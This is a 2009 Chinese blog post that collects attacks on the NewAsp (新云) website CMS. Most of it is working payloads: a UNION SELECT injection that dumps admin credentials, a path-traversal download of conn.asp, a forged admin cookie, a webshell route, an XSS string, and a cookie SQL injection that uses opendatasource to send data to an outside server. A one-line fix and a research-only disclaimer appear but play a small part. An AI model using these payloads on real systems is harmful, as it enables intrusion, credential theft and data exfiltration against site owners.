新云漏洞总结篇

2009, October 14, 2:14 PM. 漏洞集研
Submitted by admin

1.SQL注入漏洞
注册帐号-->发布文章-->文章管理-->属性
http://url/user/articlelist.asp?action=view&channelid=1&ArticleID=1 这个地址就是注入点
union select 1,2 ,password,4,5, username,7,8,9 from nc_admin where id=1

2.下载conn.asp
http://url/flash/downfile.asp?url=uploadfile/../../conn.asp
默认数据库地址
http://url/database/%23newasp.mdb

3.COOKIE欺骗   ASPSESSIONIDCARADBTC=PPFHKFMBMFMGDOEIMKKPDFGL; admin%5Fnewasp=AdminStatus=%B8%DF%BC%B6%B9%DC%C0%ED%D4%   B1&AdminID=1&Adminflag=SiteConfig%2CAdvertise%2CChannel%2CTemplate%2CTemplateLoad%2CAnnounce%2CAdminLog%2CSendMessage%   2CCreateIndex%2CAddArticle1%2CAdminArticle1%2CAdminClass1%2CSpecial1%2CCreateArticle1%2CComment1%2CAdminJsFile1%   2CAdminUpload1%2CAdminSelect1%2CAuditing1%2CAddSoft2%2CAdminSoft2%2CAdminClass2%2CSpecial2%2CCreateSoft2%2CComment2%   2CAdminJsFile2%2CAdminUpload2%2CAdminSelect2%2CAuditing2%2CDownServer2%2CErrorSoft2%2CAddShop3%2CAdminShop3%2CAdminClass3%   2CSpecial3%2CCreateShop3%2CComment3%2CAdminJsFile3%2CAdminUpload3%2CAdminSelect3%2CAuditing3%2CAddArticle5%2CAdminArticle5%   2CAdminClass5%2CSpecial5%2CCreateArticle5%2CComment5%2CAdminJsFile5%2CAdminUpload5%2CAdminSelect5%2CAuditing5%   2CDownServer5%   2CAddUser%2CAdminUser%2CChangePassword%2CUserGroup%2CMainList%2COnline%2CVote%2CFriendLink%2CArticleCollect%2CSoftCollect%   2CUploadFile%2CRenameData%2CBackupData%2CRestoreData%2CCompressData%2CSpaceSize%   2CBatchReplace&AdminGrade=999&AdminPass=7a57a5a743894a0e&RandomCode=3N263U7hgb314iwb&AdminName=admin

3.上传备份得到webshell

4.溢出暴绝对路径
http://url/article/show.asp?id=1存在溢出漏洞(+00000000000000000000000000000000000000000000000000000000000000000000000)

5.任意修改任何会员的资料及密码
nc -vv url 80 1.txt
6.跨站漏洞
1:user/changeinfo.asp中question,phone,postcode,UserIDCard,address都没有过滤就进库了直 接'><script>alert('test')</script><    就可以跨站
2:user/confirm.asp中paymode没有过滤,因为它类型是radio 单选项,本来以为把它保存到本地修改 一下类型就可以了,但是新云有防止本地提交所以就只能抓包了。


google搜索 :首页连接(首页连接日IP>15000,次页连接无流量限制,欢迎合作连接

=================================================================================
资料补充:

新云网站管理系统是一个采用ASP和MSSQL等其他多种数据库生成静态页面构建的高效网站解决方案。

漏洞描述:

先看const.asp的GetUserTodayInfo过程。

QUOTE:
Lastlogin = Request.Cookies("newasp_net")("LastTime")
UserDayInfo = Request.Cookies("newasp_net")("UserToday")
If DateDiff("d",LastLogin,Now())<>0 Then
………………
UserDayInfo = "0,0,0,0,0,0"
Response.Cookies("newasp_net")("UserToday") = UserDayInfo
end if
UserToday = Split(UserDayInfo, ",")
If Ubound(UserToday) <> 5 Then
………………
UserDayInfo = "0,0,0,0,0,0"
Response.Cookies("newasp_net")("UserToday") = UserDayInfo
end if

然后是

QUOTE:
Public Function updateUserToday(ByVal str)
On Error Resume Next
If Trim(str) <> "" Then
Newasp.Execute("update [NC_User] SET UserToday='" & str & "' where username='"& Newasp.membername &"' And userid=" & Newasp.memberid)
Response.Cookies("newasp_net")("UserToday") = str
End If
End Function

大家都能看出来。updateUserToday(ByVal str)str没有经过任何过滤就防进了数据库。

然后就是
articlepost.asp
message.asp
softpost.asp
upfile.asp
upload.asp
这几个文件对GetUserTodayInfo和updateUserToday过程没有验证的直接调用,导致了sql注入

解决方案:

过滤UserDayInfo

测试方法:

警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Sobiny(Bug.Center.Team)提供了如下测试方法:

由于UserDayInfo的格式是 0,0,0,0,0,0每一个字符代表了今天使用的权限,有上传,有短信。
而每使用一次权限,使用权限的那个一数字就会自加1。
所以在构造语句的时候要注意。
在提交的页面的过程中。
在当前权限的数量上必须为数字,否则就会发生错误。
而且updateUserToday过程On Error Resume Next语句,已经屏蔽了错误提示,所以我采用opendatasource远程数据库写入。

以message.asp为例
先发送一条信息抓包,然后修改cookies。
(发送信息代码的数字为第5个。于是我们在第4个','只后,第5个','之前的字符必须为数字。)

于是我们修改如下cookies:

QUOTE:
newasp_net=UserToday=0%2c0%2c0%2c0%2c0%2c0

QUOTE:
newasp_net=UserToday=%27%3Binsert+into+opendatasource%28%27sqloledb%27%2C%27
server%3D123%2E123%2E123%2E123%3Buid%3Dadmin%3Bpwd%3Dadminadmin%3Bdatabase%3D
admin%27%29%2Eadmin%2Edbo%2Eku+select+db%5Fname%280%29%2D%2D%2c0%2c0%2c0%2c0

然后用NC发包

就会在远程123.123.123.123服务器上的数据库写入当前的库名。

QUOTE:
%27%3Binsert+into+opendatasource%28%27sqloledb%27%2C%27server%3D123%2E123%2E123%2E
123%3Buid%3Dadmin%3Bpwd%3Dadminadmin%3Bdatabase%3Dadmin%27%29%2Eadmin%2Edbo%2E
ku+select+db%5Fname%280%29%2D%2D%2c0%2c0%2c0%2c0

QUOTE:
';insert into opendatasource('sqloledb','server=123.123.123.123;uid=admin;pwd=adminadmin;database=admin').admin.dbo.ku select db_name(0)--,0,0,0,0

Tags: 新云, newasp

« 上一篇 | 下一篇 »

只显示10条记录相关文章
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):